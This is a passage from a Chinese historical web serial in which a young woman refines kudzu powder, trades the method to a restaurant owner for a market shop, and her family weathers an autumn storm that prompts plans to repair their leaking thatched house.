没晒透的葛粉封存后很容易发霉变质,所以晒粉照样是关键。从葛根变作葛粉,每一步, 都是时间与耐心的双重考验。 好在六天之后,第一批葛粉终于制成。 完全幹燥的葛粉是坚硬的白色小块,用手轻轻一捏,便化作细密的粉末, 一点儿潮气都没有, 这时候的葛粉才能装罐密封。 保存得当的葛粉, 在前世放个一两年不成问题,在这个时候嘛,林真估摸着,至少能放小半年。 “乖乖, 咱头次背下来的葛根至少有个八十来斤罢?最后只得了这一丁点儿的粉子?”沈山平咂舌,“难怪熟藥局里賣的葛粉恁贵。” “将近九斤呢!已然不少了。”林真倒是很歡喜。 将近10%的出粉率, 还是纯手工的情况下, 这个出粉率已经大大超出她的预期。林真估摸着, 应当是深山里的葛根长得好,出粉率才这样高。 “那你准备賣个甚價?熟藥局里称葛粉, 二钱便賣十个子儿, 这玩意儿普通人家可吃不起, 你放铺子里怕是不好賣, 要不卖熟藥局去?” 沈山平对葛粉最深的印象,是熟药局里的小药童, 拿个药戥秤,伸着脖子眯着眼看戥秤上的毫毛似的刻度,决计不肯多称个一星半点儿的。 回回去, 他回回都忧心这小药童往后看人也眯着眼可怎么办?然后,从兜里摸出十个钱来,换走那一小包小药童打起十二分的精神来称量的葛粉。 “我可不往熟药局里头卖。”林真摇头,“那里头的東西都是用来治病救人的,我可不好意思卖高價。可不卖高价,可对不起咱们如此辛苦才取得的葛粉。” “那倒是,这几日光是用水都吓人,也亏得家里有口井,不然,照家里这用水量,不出一日,就有村人找上门来。”苗娘子这会儿觉着家里打井是再正确不过的事了。 “我去后院儿继續挖兔子窩去了,赶明儿怎么都得挖出来,后日我得跟着师傅给村里殺豬咧!”沈山平亲眼瞧见了葛粉是如何取制之后,心满意足,继續去后院儿挖兔子窩去了。 这时候的铁属于官府管控资源,自然是不可能专门拿来打造笼子养兔子的。 这时候的人养兔子,大多是窖养。 挖一个倾斜的深坑,坑壁夯实再用碎石子或青石板加固,一来防止坍塌;二来,自然是防着兔子打洞逃跑。坑口用竹编的网罩覆盖,外头再用栅栏加泥制护栏,如此,才能教野性难驯的兔子轻易逃脱不得。 这时候,再供应充足的清水和可口的嫩草,便能慢慢将兔子养住了。 “待养得一身膘,蹦跶不起来,这兔子便不会再想着逃跑了。”沈獵戶揣着手,说这话时,显得格外专业。 林真家里这几日便在挖兔子窝,已经挖了两日了。 她家里的这个且不如沈家的那个费事。地窖不算深,坑壁也只是从山溪里背来的石子。是以,只沈家父子和贺景动手,并未请人来帮忙。 已是七月底了 ,枣儿村家家戶戶忙着秋收。 旱地里,豆子和冬小麦轮植的,这会儿子忙着收豆子;水田里,若是早稻,过几天也能收了,从白露到秋分,水稻便会陆续成熟。 这是一年里最重要,也最紧张的时候。 收割、脱粒、晾晒、入仓,这是丰收的时候,可同样是与天争时的时候。 这时候的枣儿村,即便是地少的人家,也是天刚亮便下地,中午日头最毒的时候稍微喘口气儿又要下地,要一直到日头落山,天黑了,彻底看不清了,村人才会家来。 如此拼命,就是防着老天爷不开眼,一场雨落下来,田来还不急收割的穗子教雨一淋,便要遭殃。 被捂住的穗子,要不发霉要不发芽,减产不说,发黑的麦子水稻便是抢着收下来,也是缴不了税卖不了钱的。 那时候,才真是要命。 这些日子大伯一家子,除了巧儿都下田去了;林茂安也没去卖豆幹,日日都耗在田里;贺景也没去县里摆摊,他也别着镰刀下田去了。 她家的八亩田虽说是给了大伯家种,可秋收这样的大事,怎么也不可能干看着大伯一家子忙。 大伯和大伯娘不愿意跟林真家里一道吃饭。 林真现在一早,自个儿赶着驴车去县里送货,家来了去帮着巧儿烧饭,再赶着驴车将饭食送去田里。下田的人吃过饭后,只在田埂上歇一歇,又要下田去。 鑫哥儿更是彻底长在林真家里,燕儿带着他,烧火、看兔子的也算是干活儿了。农家人就是这样,秋日里,连小孩儿都得下田。 家里现只有林屠户稍微清省些,可也清闲不到哪儿去。 年年秋收,枣儿村买肉的人家都指着林屠户呢。往年秋收的时候,林屠戶会拉豬来枣儿村宰殺,先紧着村人卖过后,余下的才会去肉行的摊子上卖。 如此,虽在肉行那处的生意不如别家,可枣儿村的族人友邻却能省下好些功夫。 今年听说林屠户伤了腰,連族长都上门来问过。 林屠户卖给村人的肉不会加价,再是穷苦的人家,狠一狠心也能尝个荤腥儿。今年若是不能在林屠户这头买肉,去县里浪费时间不说,还要挨高价,心急的族人老早就去族长那头敲边鼓去了。 林屠户自然曉得,他便趁着这个时候将沈山平推出来。 在族长和村人那头过了明路,这些日子能起身活动了,还带着沈山平去常走动的村子里混了个面熟。 沈山平在林屠户的指导下,已然帮着殺过几回猪了。 他倒是知事,曉得来请的人家都是瞧在林屠户的面儿上,这都是林屠户多年积累下来的客源。虽是他动的手,可杀猪钱他一个子儿没要,全给了林屠户。 如此一来,倒是将林屠户感动得不行。 自个儿添了钱,去铁匠那头给沈山平打了一套杀猪刀。 放血刀、剔骨刀、切肉刀和刮刀四件,且因着沈山平身量比林屠户还高几分,不仅刀柄做得宽大,連刀身都是使了钱加大了的。 “剥皮刀和分骨刀你自家有,使得也顺手,再有这几样便齐全了。往后便能自家出门去给人杀猪了。” 林屠户将刀具递给沈山平的时候,恁大一个人,抱着刀差点儿又淌眼泪。 ’哐当‘一声跪下,又是三个响头,磕得额上一片淤青。 沈獵户隔天便带着沈山平来林家后院儿挖兔子窝,他手上还剩的七只兔子、五只野雞,说甚也不肯收钱。 “林老弟,大山能拜你为师,是他的福气。你打的那套刀具多少钱?我这些東西又值多少钱?我若再收你钱,那我沈家成甚样了?” 林真细细算了一下,兔子剥了皮卖,最少三十文一斤,野雞也得要上二十来个钱。刀具和兔子野鸡哪样更贵,还真不好说。 总之,沈家养的那群兔子、野鸡搬家了。 沈猎户往林家连着跑了三天,瞧着兔子野鸡挺精神,又细细交代了一番他总结出来的喂养注意事项,便走了。 至于沈山平,那是天天有事儿没事儿往林家跑。 林真也终于逮着了机会问。 “沈大哥,这兔子怎全是灰撲撲的,没有白兔子麽?” “豁!真姐儿,别说我了,就是我爹都没见过白兔子咧!若是真有你说的那种,雪花一样白的兔子,莫不是山神化身?那岂敢伤了它?”沈山平还神秘兮兮地凑近问,“我晓得你是有些机缘在身上的,莫不是真见过那种雪一样的兔子?” 哦豁,马道婆的威名如此厉害? “没,我自然是没见过,就随便问问。” “咦,可怜见的,以前没见过兔子罢?那你现可高兴了?不止能见着,还能喂它们哩,瞧,燕儿就多高兴!”沈山平立马收起了敬畏心,转而用一种可怜的眼神瞧林真。 你大爷的! 我不止见过,我还吃过!烤兔腿、鲜椒兔、兔脑壳……说出来,吓死你! “不,我不喜歡兔子,这玩意儿交给贺景养就挺好。”林真面无表情。 “阿姐,我也养,我也养!”一旁的燕儿着急,生怕不教她养兔子。 林真:只觉得与你们格格不入! 这种黄褐色、灰扑扑、脚趾老长还滂臭的东西,招人喜欢的点,到底在哪里? “对了,真姐儿,若是宰杀兔子记得唤我来,我将皮子完整地剥出来。我爹有祖传的手艺,经他鞣制的皮子格外顺滑,一张兔子皮,能卖十二个钱哩!” “成,我晓得了。” 嗯?一只兔子这样值钱?那它们还是很可爱的。 看过了兔子,林真又去围着枣树下的蒟蒻看。 她依稀记得,蒟蒻似乎与土豆红薯一样,切个芽头埋土里就成。 可好几天过去了,她埋下的蒟蒻芽头怎一点儿动静都没有? 抬头看,是树荫;再低头,枣树这片能出井,含水量应当比其他地方高。没错啊,它怎么还不长? 林真又围着看了一会儿,没看出个名堂来,只能作罢。 晚间,照样是小夫妻的夜话时刻。 “你说这蒟蒻也是种芽头,我今儿便去问大伯芋头是怎么种的。我打算在后院儿地势高的地方起一畦地来种蒟蒻。山里的蒟蒻多长在树底下,可我仔细瞧过,多是在坡地上,它怕是喜水但不耐水。枣树下虽有树荫,可那片地底下估计水汽重,且排不出水来。我在后院试试,若是能种出来当然好,种不出来也不怕,山上还有许多呢。” 贺景自然晓得林真在折腾蒟蒻,他瞧在眼里自然上心。 “成!交给你了!”林真拍拍贺景的背夸夸,“咱家,估摸着也就是你,能有点子种田的天赋了。” 贺景笑了笑:“对了,那葛粉你可想好如何售卖了?” 第45章 葛粉, 林真自是曉得这东西不好卖。 这时候的葛粉,除了入药,只有一个作用:解酒。 是以, 葛粉多是富裕人家会备些。且它还不像腐竹,可以制作菜肴,只能解酒的葛粉,那必得卖去能吃醉酒的地儿去。 “我打算卖与林掌櫃, 豐乐樓是正店, 可自家釀酒。豐乐樓日日有客饮酒, 若是客人吃醉酒后,店家上一碗解酒毒的葛粉羹来,岂不显得贴心?”林真说完后才有点儿后知后觉,她怎老是逮着林掌櫃一个人薅? “打这主意多久了?”黑暗中传来贺景的轻笑。 “豐乐樓那招幌多显眼?咱俩头一回去豐乐樓, 瞧见那迎风招展的酒旗时,我就恍惚想着了。”林真得意。 逮着一只羊, 不, 一人薅有甚不好?贵精不贵多。 釀酒在此时实在奢侈, 纯粮食古法釀造,且因着器具和技术有限, 出酒率并不算高。是以, 釀酒此行, 牢牢把控在官府手里。 每个酿酒的地方必须在官府登记造册, 酿酒资格自然也由官方认证。 能自行酿酒来卖的店唤作正店,官府发放统一的酒旗子, 悬于店前,表明身份。不能自行酿酒售卖,只能当二道贩子, 去正店买酒来贩与客人的,唤其腳店。 朱家分茶店就是腳店。 而整个慈溪县,有酒旗子的店家,一只手便数得过来。 这时候对贩酒管控之严,酿酒的店家虽能自行酿酒来卖,可每一笔买卖都得专门登记造册,官府会查账的。而若是私自贩酒,不仅会面临高昂的罚金,还会根据私酒规模,对涉事人员罚以笞刑或杖刑。 林真先前不曉得,瞧见林屠户喝米酒那小心劲儿,脱口而出:“这醪糟汁子我就能给您酿。” 把林屠户吓得不轻:“真姐儿,可万万不能说这样的话!私自酿酒,可是会被押去衙门打板子的!还是剥了衣裳打!” 围着她念叨了好几日,把林真念烦了,再三保证不提’酒‘字,林屠户才消停了。 总之,酒水,在这个时候是实实在在的奢侈品,能吃醉酒的人,兜里有得是钱。 林真瞄准的就是这类人。 可她没有这处的客源,興福坊和长興坊内住的人家确实小有家资,可他们也不会日日饮酒作乐。 自然是比不上直接给丰乐楼供貨来得快。 翌日,整好是往丰乐楼送腐竹的日子。 林真用两张黄麻纸包了两大包葛粉一并带着。她往丰乐楼来送貨,林福每回是必定要来打招呼的。 “林小哥,早啊。秋来最是适宜进补的时候,家里新制了葛粉,便想着给你和林掌櫃送一包,还得劳烦你转交。”林真笑眯眯递上葛粉。 林福赶忙双手接过,一叠声儿的道谢:“”前头才得了林娘子的好主意炒制兔子,给楼里新添了一道菜。还没置办席面谢娘子呢,今儿偏又从你这头得了好东西,这可真是教我过意不去。晓得娘子近些日子忙碌,过些日子我置了席面請您吃飯。” 嘿,哪里是她忙碌,明明是林大掌櫃忙碌。 林福先前已经送过禮,这請客吃飯必然是林掌柜示意的。可林掌柜今时不同往日,是个大忙人,着实腾不出时间来专门与林真吃饭。 他晓得教林福请客不够重视,可他往来应酬之人繁多,林真目前只能往后挪挪。 这饭,自然是一拖再拖。 林真看得明白,可她一点儿也不恼。 人之常情麽,且林福待她一直周到客气,也没甚好挑剔的。且就看看这葛粉,能不能打动林掌柜咯。 林真才走,一戴着朱子幅巾的管事,依着门框,叉着手,语气不屑道。 “哼!甚么东西?也巴巴儿地捧到大掌柜跟前去?我说福管事,你见识少不要紧,可咱大掌柜甚没见过,可别教那些上不得台面的东西耽搁大掌柜的时间。”。 “瑞管事眼光倒是高,一包葛粉得有个小半斤,三百来文的东西您也瞧不上眼。可见是跟对了主子,眼界高了,出手也大方了,赶明儿啊,您也教我们这些小的开开眼。”林福回怼。 同是林家的家生子,同样得主家赐姓,誰怕誰啊? “你!”戴着朱子幅巾的管事唤林瑞,从辈分上来说,他是家二代,比起林福这样的家三代来,资历自然是要老些。 可谁不晓得,瑞管事先前一直往二房少爷跟前凑,可林家现在掌权的,是大房家的女公子。 大掌柜是女公子的心腹,林福是林大掌柜的心腹兼侄儿。这俩对上,还真不定是谁吃亏呢。 林福这话,可真是拿着刀子专捅人的心窝子。 可一时半会儿的,林瑞还真不敢在此处闹开来。 林福斜睨了林瑞一眼,甩着袖子走了。林瑞被气得说不出话来,只恨恨地盯着林福的背影瞧。 不多一会儿,他瞧见林福一阵风儿似的往外跑。林瑞眼珠子一转,趁人不注意,进了林福的屋子。 “福哥,瑞管事先前摸进你屋子里,转悠了一圈儿才出来。” 林福才一回来,便有机灵的小伙计凑到他跟前。 “哼!蠢东西,一个临时落脚的地儿谁会在这处藏东西?不管他,蹦跶不了几天了。”林福拍拍小伙计的肩,“你好好盯着他,别教他闹到前头去。” “唉!晓得了,我办事儿,您放心。” 林福也不急着去寻林掌柜,自去做事。一直到下工后,他转了一圈儿,买了些吃食果子,才转去林掌柜自家的屋子里。 与伯娘打过招呼后,林福熟门熟路去了林掌柜小憩的东厢房候着。 不多时,林掌柜家来。 “叔父。”林福站起来,叉手行禮。 林掌柜摆摆手,解开领口的扣子透气儿:“寻我何事?” “叔父今日应酬定是饮了酒,侄儿先去烹一盞子解酒汤来,您喝了解解乏。”林福殷勤道。 “也成,今儿确实多饮了几杯,头疼得很。你今儿就歇在家里,咱俩慢慢儿说。”林掌柜干脆洗了一把脸,換了家常衣裳,歪在罗汉床上。 不多时儿,林福捧着青瓷盞盛到林掌柜跟前。 林掌柜伸手接过,只一眼,歪着的身子当即坐正,他细看了几眼,又舀了一勺子送入口中。 随即便是掩不住的惊讶:“这是今儿林娘子送来的?” “是。”林福点头,“已教万春堂的郑大夫瞧过了,上好的葛粉。” 他说着,又快手快脚的将黄麻纸包着的葛粉解开给林掌柜瞧,烛火下,黄麻纸上的葛粉更显白净。 林掌柜伸手捻起一小撮葛粉细看,林福忙捧了油灯来。 “換了白蜡来。” 林福忙依言开了柜子找出更亮堂的白蜡点上,捧到林掌柜跟前,自个儿安安静静立在一旁。 良久,林掌柜才叹道:“如此白净细腻,送给贵人也使得。” 他敲了敲桌子,緩緩道:“明儿一早我便去回禀东家,你带上礼,亲自去一趟林娘子家中。请她定个时间与我一聚,在次之前,万万不可将此物示于第二人。若是林娘子有时间,便请她来丰乐楼稍坐。” == 翌日,城门一开林福便驾着驴车去枣儿村,幸而他走得早,刚巧在半道上遇着了去县里给马娘子和朱家分茶店送豆干的林真。 林福急忙上前攀谈:“林娘子今儿可有时间?若是不忙,还请您到丰乐楼稍坐。” 葛粉的威力这么大? 林真有些惊讶,一口应下林福的邀约:“倒是不忙,我去县里送货,送完便可与林小哥往丰乐楼走一趟。” 与此同时,林展柜也将葛粉呈到林家女公子跟前。 “若得此物,定能助我更进一步!”林怀筠双眸微亮,摩挲着手中执莲童子的玉饰,“那林家女郎当真是个妙人。” 林掌柜没有出声。 沉吟半晌,林怀筠道:“这方子我是要定了,你去与林娘子好生商量着。看她想换些甚,便是在东西二市挑一间铺面儿也使得。再有,你提点一下她,莫要丢了田耕之家的身份。” “是,我这就去。”林掌柜一礼,才要告退,忽而一人直直闯进来。 “得了甚好东西,怎还要使铺子去换?你不是最擅商贾之道?怎还做赔本的买卖?”说话的男子头戴无角幞头,长衫大袖一副文人打扮,可话却说得不大中听。 林怀筠眉毛都没抬一下,只淡淡吩咐道:“今儿守门的忒没规矩了,罚三个月的月钱。” 林掌柜冲男人一拱手,出门去了。 男人面色涨得通红,林怀筠也不看他,只端着茶:“郎君若是无事,自去把玩你的洒金古扇罷。” “你!”男人面上由红转白,他昨儿才在账房支了银子买扇子,今儿就被拎出来说,他手微微发抖,显然气得不清,“一把扇子罷了!” 说完便甩了珠帘出去了。 “姑娘这是何苦?姑爺不过是问一句罢了,您老是与姑爺置气可怎么成?”出言相劝的是林怀筠的奶娘。 “他当年瞧上的便是我林家的钱和势,怎的?这些年锦衣玉食的养着还不够,还得我伏小做低不成?这是林家,是我爹挣下的家业,外人惦记着不算,枕边人也要算计?” 这么多年了,枕边人是甚样她也看清了。林怀筠伸手放在小腹上,况且,这人也快没用了。 “唉,可姑爷毕竟是姑爷,姑娘多少得给几分薄面啊。”奶娘苦苦劝道。 “妈妈,我且还没问你,昨儿是你跟芸姐儿说要多看些《女则》、《女训》的书吗?” 林怀筠声音很轻,可奶娘却一下子出了一身的汗。 她结结巴巴道:“是,是老奴。四书五经甚的,姐儿也不去科考,看,看多了也无用啊。” 林怀筠转过脸去,半晌才道:“妈妈年纪大了,府里烦心事儿多。您去庄子上养着罢,至于我奶兄弟,便还在家里做事。” 奶娘脸一白,才要求情,又听得林怀筠道。 “对了,我依稀记着秀姐儿也大了,送进府里来做事罢,就在我院儿里,不会委屈了她。” 奶娘抖着身子,脚下似乎不稳,被立在一旁的年轻丫鬟一把子稳稳扶住。 “您老这是高兴坏了?还不快谢过娘子?” “谢,谢过娘子。”奶娘颤着身子行礼,又被一路送出去。 林怀筠放下茶盏子,闭上眼,缓缓呼出一口气。 “娘子,用盏子玫瑰露罢?玫瑰卤子只挑了一勺子,不腻的。”丫鬟轻手轻脚换了茶盏。 林怀筠轻轻抿了一口,似乎自言自语道:“同是上门婿,怎如此不同?当真读书多是负心人?” 丫鬟低了头,只当没听见—— 作者有话说:写了完了才发现新人物似乎着墨多了些 删删减减半天,放心,新人物不会有很多笔墨[可怜] 第46章 林福一路随着林真送完货后, 便引着林真往丰乐楼的二楼去。 上了茶水点心,請林真自便后,自个儿往门口一站, 当门神去了。 林真才捡了两块点心吃,便听得林掌櫃的笑声先至。 “哈哈,林小友,咱可有些日子没见了。怪我, 才将将接手恁大的酒楼, 一时之间乱了手脚, 怠慢了从前的友人。林小友莫怪,莫怪啊。” 哦呦,这称呼,升级了。 林真起身行礼, 同样笑着道:“您老折煞我了,我也忙着秋收哩。咱这交情, 不差这一时半会儿的。” 林掌櫃爽朗一笑:“小友这话说得好, 咱们是老交情了。如此, 我也不与小友说那些场面话,你这回制出来的葛粉, 甚好!于我东家有大用, 东家很是重视, 今儿一早便说了, 能拿东西二市的鋪子与你換方子。” 林真即便心中早就有所猜测,可这话还是教她心里一惊。 甚?东西二市的鋪子?換取粉的法子? “林掌櫃, 不至于罷?”林真很想稳重些,喜怒不形于色,可最終还是没忍住。 “哈哈, 小友没听错。”一直留心观察林真面色的林掌櫃倒是松了一口气,看来是巧合。 “不是,林掌柜,葛粉并不是甚稀罕物,取制法子想来您應当是知曉的。这东西除了入药,最多只能冲盏子葛粉羹来解酒。我实在不明白,它如何能值这个价?还請林掌柜透露一二,不问个明白,我心里不踏实。” 林真喜歡賺钱,可她不喜歡不明不白的賺钱。 横财易变横祸,她很珍惜这辈子,这种不踏实的钱她不乐意賺。 “小友可别自谦,如此上乘的葛粉,老夫从未见过。”林掌柜沉吟半晌,思及东家对林真颇有几分好感的态度,最終决定透露一二。 “宫里供奉着位上师,如此洁净的葛粉,可供上师辟谷,助上师清修。” 林掌柜说得很是隐晦,林真一开始还没反應过来。可很快,她便反应过来林掌柜口中的’宫里‘和’上师‘代表啥意思了。 感谢上辈子社会主义的庇护,长在红旗下的她,对皇权没甚敬畏心,对甚上师更是一点儿不敏感(林真到现在都觉着,那马道婆是个坑钱的神棍!)。这才能听明白如此隐晦的暗示。 听明白后的林真不大高興:这岂不是意味着,她这幸辛苦苦取制的葛粉不能賣钱了嘛! “事关重大,还请林娘子千万保密。” 听听,这不就来了。 “我曉得輕重,原想着摆在鋪子里压压阵。往后,我那头再不会出现这样白净的葛粉。这取粉的法子也只有家里人知曉一二,我自会约束好家人。”心中在诽谤,可林真滑跪得很快。 “娘子聪慧。”林掌柜是真的很欣赏林真,年纪不大出身不显,可处事却这样老练周全。 “东家曉得这样是断了您的财路,这才许了东西二市的鋪子任您挑选。略作补偿,还请林娘子笑纳。” “您说笑了,这法子是我误打误撞试出来的,能用它换来闹市的铺面,是我赚大了。”林真摇头,索性将取粉诀窍一并说了,“法子并不难,取新鲜贯众根……之后,洗粉两次,便能得到如此白净的葛粉。” 林掌柜又細細问了几个细节之处,将取粉的法子记在心里,不禁赞道。 “小友大气,此事不好声張,老朽只能在此处与您说说东家在东西二市都有甚铺面,您听听,挑一个合心意的。” “林掌柜不必如此,您我还信不过麽?您帮着给挑一间,每月賃钱有个,有个五贯钱的便罷了。”林真脱口而出。 林掌柜点点头,笑道:“还请林娘子稍坐,我使唤林福去县里过文书,今儿就将铺子的契书交与您。” 此事不能落于纸上,林家小娘子大气,他也不得拖沓了,今儿就将事情办妥当才是。 “对了,还有一事,我得与娘子提个醒儿,听闻你在长興坊賃得一间铺子。老朽晓得娘子的本事,可得提醒您一句:为着银钱,入了商籍可不划算,若是有闲钱,多多買些良田才是上策呢。” 说到后头几句,林掌柜的声音似乎有些苦涩。 “商人瞧着风光,可不能蓄奴不能蓄田三代之内不能科举入仕,银钱再多有甚用?只能沦为他人口中的肥肉罢了。是以,林娘子手中有一二铺面自行经营便罢了,这摊子可不能铺开来。县衙一查税,凭林娘子的本事,一准儿要被并入商籍,得不偿失啊!” …… 林真听了一耳朵朝廷对商人的限制,差不多明白了。 她开铺子,可以;售賣一二农副产品赚几个钱,也可以。算是促进当地经济为税收做贡献了。 可生意若是做得大了,铺面铺开来好几个,再去干些倒買倒卖之事,一旦经营数额达到标准,是一定,会被强制入商籍的。 士农工商,在此时可不是说着玩儿的。 一旦入了商籍,不止税率会提高一大截儿,子孙三代不能入仕不说,名下田产,不能超过二十亩……林林种种的限制,数不胜数。 且生意做大了麻烦自然多,找个靠山吧,要上供;不找,那更是会被整个儿吞了。 可不就是林掌柜口中惹人垂涎的肥肉麽? “东家这一支,当年为着大局,被迫入了商籍。三代人,经商几十年,所赚银钱多是供给了为官的主支。可即便这样,老太爷一去之后,主家那头待慈溪林家便大不如前了。”林掌柜叹气,强压下心中的愤懑,瞧瞧,即便是这样的密谈,他也不能露出不满,只心中酸涩最终化作一声叹息。 “东家行事,处处有掣肘,步步是陷阱,着实不易啊。” 林真不知如何接话。 财帛从来动人心,教金银晃了眼,眼里心里便只能瞧见钱财,明枪暗箭,你争我夺都不是新鲜事儿。 林家这样盘踞一方的大家族,话事人居然是位女子,其中艰难可想而知。 那位林东家的来时路,定是如履薄冰罢。 “林掌柜何须作此消沉之态?东风已至,我在此,遥祝林东家直上青云。” == 林家,一家子围坐一圈,眼儿都盯着桌上的匣子,却愣是没人敢伸手碰。 “愣着干啥?都看看呀。”林真催促,“我还是头一回瞧见交子哩。” 楮皮制成的交子,朱墨交错的图案甚是繁杂,房屋、人物图案及铺户押字俱全,纤毫毕现栩栩如生。钞面上盖有抄纸院的铜印,这便是大虞朝的官交子。 这个时代的印刷技术之高超,在这两張輕飘飘的楮皮交子上体现得淋漓尽致。 匣子里头除了两张十贯钱的交子和两个二两的小银裸子,便是一张铺契。 林掌柜最终给林真挑选的是一间前铺后院儿的铺子。 铺子落在西市,月赁八贯钱,且因着现今赁着铺子的店家还有三月的赁期,林掌柜硬是将这三个月的赁钱一并算给了林真。 然后,唤林福亲自送林真回枣儿村,驴车上还带着俩三层的大食盒。 虽说林掌柜特意换了轻便的交子银子与她,这两样东西着实方便,往身上一揣,外人也瞧不见,可携着巨款的林真心中着实忐忑。 听得林掌柜安排得这样妥帖,很是松了一口气,便也不推辞。 家来,送走林福后,林真心中的欢喜掩不住了。 不及待地唤了家里人来,将匣子摆开。 “乖乖,出去一趟,怎还弄了间铺子回来?”林屠户咽口水,小心问道。 “我拿取葛粉的法子换的,也是買家行事仁义,没仪仗着权势压人,给了这样的好价。这法子是人拿铺子买断的,咱家往后都不制这样白净的葛粉了,而且,这制粉的法子也决不能透露出去。” 一家人都晓得轻重,自是点头应下。 林掌柜装的吃食忒多,家里又添了俩个菜,请了林大伯一家和沈山平父子一道小聚。 晚间散场后,林真特意寻了沈山平,又是一番叮嘱。 “这法子是你想出来的。我如何会与外人说道,真姐儿莫不是疑了我?”沈山平嘀嘀咕咕,好在这回晓得轻重,声儿压得很低。 “我自是晓得沈大哥不是那样的人,不过白嘱咐一番罢了。收了人家的银钱自是要上心的,也防着意外说漏了嘴。”林真先解释,又道,“先前与沈大哥提的,在长兴坊卖肉的法子,你是如何想的?” 沈山平正色道:“真姐儿,我沈山平是个粗人,可也晓得好歹。恁好的铺面,又有师傅手把手带着做生意,我晓得你是在帮我,往后一处做生意,自是你做主,我沈山平绝不多说半个字!” “成!这可是你说的。”林真面上的笑容深了些。 她提的主意,是沈山平与林屠户合伙做生意的事儿。 两人合伙买一头猪来宰杀了,放在铺子上卖,猪肉的账单独计算,盈亏师徒俩自个儿对账去。 如此,便是沈山平往后要自立门户,也不至于抓瞎。 林真念着沈山平先前送钱的情份,且这些日子相处下来,沈家父子为人着实不错,这才提出这个法子来的。 不然,她是决计不会与人合伙做生意的! 夜话时分。 林真还在翘尾巴:“咱先修葺屋子,你的田和鱼塘再等等嗷。铺子再有个五六日便能开张,咱先前支摊子都能赚钱,今朝添了货物又是那样好的铺子,定然能挣钱的。等挣钱了,咱便买田买地挖鱼塘!” “成,真姐儿心里还记着,我便高兴。” 听见贺景果然被哄得开心,林真更是得意。 瞧瞧,她这家当得,可真不赖!—— 作者有话说:林真:熟练画饼中 也不知道这俩倒是是谁哄谁呀 [狗头] 第47章 滴答, 滴答。 甚声儿? 林真皱着眉,身边窸窸窣窣的,似乎是賀景起来了? 她没睁眼, 帶着睡意嘟囔道:“怎的了?” 賀景动作一顿:“落雨了。” “甚?” 刚还迷迷糊糊的林真彻底清醒,一下子从床上弹起来,批了衣裳就要往外冲。 賀景一把抓住她:“晓得你要去倉房看腐竹,你先将衣裳穿好, 我去瞧瞧。” 他比林真先醒, 穿衣裳时才吵醒了林真。 “成, 你先去,我一会儿就来,这风听得不大对劲儿,秋雨一时半会儿地停不了, 若是下大了,咱家这茅草屋必要漏雨。得趁着雨势还小, 趕緊往倉房那头再鋪一层茅草。” 茅草屋子, 最怕的便是这样狂风骤雨的天儿。 夏日里虽也落雨, 可风雨来去急骤,家里这茅草屋子倒还顶得住。 可秋雨不同, 容易整夜落个不停。 雨落得久了, 雨水顺着茅草缝儿便渗了进来, 若是再遇着大风, 将草皮子掀开几块来。 那是,便是外头下大雨, 屋內落小雨,轻轻鬆鬆打卡大圣同款水帘洞。 林真这会儿在屋子里都能听见外头呼啸的风声,今晚, 怕是要体验一把’屋漏偏逢连夜雨‘的感觉了。 林真扯了备用的茅草去倉房的时候,被林屠戶一把拦住。 “你再去引个火把来,就在底下照着,可别上来。” 她偏头,瞧见檐下已插/着一支点燃的火把,賀景架了梯子正往屋顶上爬。 上头地方窄小,确实站不下恁多人。 林真便去引火把,又对出来的苗娘子道:“娘子,你且去瞧瞧燕儿,别往外头来了。” 这雨太大,站在檐下也不顶事儿,少淋一个算一个罷。 这场夜雨果真越下越大,没有停的势头,好在风小了些,否则,便连火把都打不住。 林屠戶与贺景借着模糊的火光将仓房顶上的茅草补好,林真趕忙喚他倆下来。 “别补了,快下来!雨这样大,还是夜里,可别出事儿了!” 她心中懊悔,那么在意仓房干啥? 心里焦急,可她没再出言催促,只仰着头伸长手打火把,尽量将梯子那头照得亮堂些。 林屠户和贺景倆人下来的时候,身上都湿透了。 苗娘子喚人:“灶上烧了热水还煮了姜汤,用热水擦擦再趕緊换身衣裳。秋日的风雨厉害着呢!可别得了风寒!” 林真贺景提着热水回房的时候,屋內的情况同样不乐观。 两只木桶一只盆,叮叮咚咚还挺热闹。显然,屋子也漏雨,盆里桶里已经有不少积水了。 屋内是泥地,倆人又帶着一身的水进来,几脚下去,地面泥泞不堪,鞋底子上更是一层泥。 “得,今夜怕是睡不成咯。” 林真打趣一句,也觉着冷,赶紧用热水擦洗一番换衣裳。 贺景动作比她快,她还在擦头发,贺景又打了热水来教她泡脚,身后还跟着个小尾巴。 “阿姐,喝姜汤,你的这碗,我多搁了一勺子红糖。”燕儿凑近她,小声嘀咕。 “乖!没白疼你,接雨的木桶盆儿也是你放的罷?” 燕儿大力点头。 林真摸摸她的头:“你屋里也落雨了罢?一会儿就在姐姐屋里,咱裹着被子说说话。” 左右是睡不成了,教燕儿留在她屋里说说话也好。 三人裹着厚被子窝在一处说闲话,倒也不觉着时间难熬。燕儿很是兴奋,靠着林真叽叽喳喳,一直到五更天儿才迷迷糊糊睡过去。 小孩儿可以倒头就睡,大人可不行。 卯正,林家几人早早起身,屋子乱糟糟,院子也是一团乱。一家子忙着收拾院子,身上水气寒气重,林真朝食便熬了浓稠的豆粥。 今年新得的粳米,舂碾过后与赤小豆一同小火慢煮,咕嘟咕嘟。 米香浓郁,豆子酥软绵密,昨日落雨的狼狈,都教这一碗热气腾腾的’东坡二红饭‘抚平了。[1] 林真舒服的呼出一口气,轉而对她爹道。 “爹,咱家这屋子,得修!秋雨绵密,雨水一落,天儿便要轉凉,不将屋子修葺好,遇着雨雪天,可有苦头吃的。” “嗯!”林屠户低头,这时候心里也是一阵悔。自己做事儿不周全,倒是教一家子跟着吃苦头。 林真没提旧事,只一一盘算:“幸而屋子还算宽敞,不肖往外扩。只买些砖瓦来,将屋顶泥地都换了,咱手里有些钱,再将墙面、窗楞子甚的都好生修一修。如此,便是冬日也不惧了。” 算着算着,林真又有些不确定道:“只是也不晓得这些料子是个甚價?还有,整好碰上农忙,工钱要涨不说,怕是不好请人。” “咱家当年起屋子用了十六贯,砖瓦甚的去了快十贯,这些年甚都涨價,瓦子砖石想来也涨了,可再添个一二贯,是怎么也夠了。至于人手,这你不肖费心,族里恁多人,田地少些的人家已然能腾出手来了。族人相帮,价要低些,咱多请些好手,再将饭食弄得丰盛些便成。只是,縣里的鋪子要开张了罢?修房再快也得要个十来天,铺子里能周转得开麽?” 林屠户有些头疼,铺子上要杀猪卖肉,他必得去的,可家里这一摊子又怎生是好? “这您不用担心,您不是收了个好徒儿?上午客多,您去压阵,下半晌便换沈大哥来,铺子里我或贺景一直都在的,也不怕沈大哥不会招呼客人。” 